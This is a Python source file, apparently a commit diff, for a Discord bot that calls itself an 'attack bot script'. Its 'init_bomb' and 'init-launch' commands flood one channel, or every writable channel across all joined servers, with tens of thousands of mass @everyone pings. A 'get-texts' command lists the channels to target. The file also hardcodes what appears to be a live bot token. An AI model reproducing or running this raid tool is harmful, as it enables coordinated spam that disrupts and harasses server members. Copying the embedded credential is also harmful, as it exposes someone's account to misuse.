1+ import aiohttp
2+ import discord
3+ from discord .ext import commands , tasks
4+ import discord .ext
5+ import threading
6+ import aiohttp
7+
8+
9+
10+ class colors :
11+ reset = '\033 [0m'
12+ bold = '\033 [01m'
13+ disable = '\033 [02m'
14+ underline = '\033 [04m'
15+ reverse = '\033 [07m'
16+ strikethrough = '\033 [09m'
17+ invisible = '\033 [08m'
18+
19+ class fg :
20+ black = '\033 [30m'
21+ red = '\033 [31m'
22+ green = '\033 [32m'
23+ orange = '\033 [33m'
24+ blue = '\033 [34m'
25+ purple = '\033 [35m'
26+ cyan = '\033 [36m'
27+ lightgrey = '\033 [37m'
28+ darkgrey = '\033 [90m'
29+ lightred = '\033 [91m'
30+ lightgreen = '\033 [92m'
31+ yellow = '\033 [93m'
32+ lightblue = '\033 [94m'
33+ pink = '\033 [95m'
34+ lightcyan = '\033 [96m'
35+
36+
37+ intents = discord .Intents .all ()
38+ client = discord .Client (intents = intents )
39+ bot = commands .Bot (command_prefix = "$" , intents = intents )
40+
41+
42+ @bot .event
43+ async def on_ready ():
44+ print (colors .fg .cyan , "[i] Bot is ready" )
45+ print (colors .reset )
46+
47+ @bot .event
48+ async def on_guild_join (guild ):
49+ print (colors .fg .cyan , "[i] Bot has joined a guild" )
50+ print (colors .reset )
51+ print ("Guild ID:" , guild .id )
52+
53+
54+ @bot .command (name = "testping" )
55+ async def testping (ctx ):
56+ await ctx .send ("@everyone" )
57+ print ("[i] Pinged @everyone" )
58+
59+
60+ @bot .command (name = "init_bomb" )
61+ async def init_nuke (ctx ):
62+ try :
63+ for n in range (9999 ):
64+ await ctx .send ("@everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone " )
65+ except discord .errors .PrivilegedIntentsRequired :
66+ print (colors .fg .yellow , "[!] A require intents(s) aren't enabled. Check your bot intent in discord.dev website." )
67+ print (colors .reset )
68+
69+ @bot .command (name = "get-texts" )
70+ async def textchannellst (ctx ):
71+ text_channels_list = []
72+ for guild in bot .guilds :
73+ for channel in guild .text_channels :
74+ permssions = channel .permissions_for (ctx .guild .me )
75+ if permssions .send_messages :
76+ text_channels_list .append (channel .id )
77+ else :
78+ continue
79+ print ("All text channels: " , text_channels_list )
80+
81+ @bot .command (name = "init-launch" )
82+ async def init_launch (ctx ):
83+ text_list = []
84+ for guild in bot .guilds :
85+ for channel in guild .text_channels :
86+ permssions = channel .permissions_for (ctx .guild .me )
87+ if permssions .send_messages :
88+ text_list .append (channel .id )
89+ else :
90+ continue
91+ if text_list != []:
92+ for n in range (99999 ):
93+ for channel in text_list :
94+ channel = bot .get_channel (channel )
95+ await channel .send ("@everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone @everyone " )
96+ else :
97+ print ("[!] No valid channels" )
98+ print (colors .reset )
99+
100+ print (colors .fg .blue , "[ Discord attack bot script ]" )
101+ print (colors .reset )
102+ print ("Version 1.01" )
103+ print ("WARNING: Run at your own risk! Dev of this tools will NOT be held responsible for any damages!" )
104+ print ("Please enter your bot token" )
105+ devtoken = "MTI1NjUzNjY2Mjg5MzEzMzkzOA.GxPKWH.JIbcRXWdnImbwmMCmX4KhF58BP5S7vA89zP0lM"
106+ try :
107+ token = str (input ("Token: " ))
108+ bot .run (token )
109+ except aiohttp .client_exceptions .ClientConnectionError :
110+ print (colors .fg .red , "[X] Unable to connect. Check your Internet connection or Discord server is down." )
111+ except discord .errors .LoginFailure :
112+ print (colors .fg .red , "[X] Can't login to your bot. Make sure your token is typed correctly." )
113+ finally :
114+ pass
0 commit comments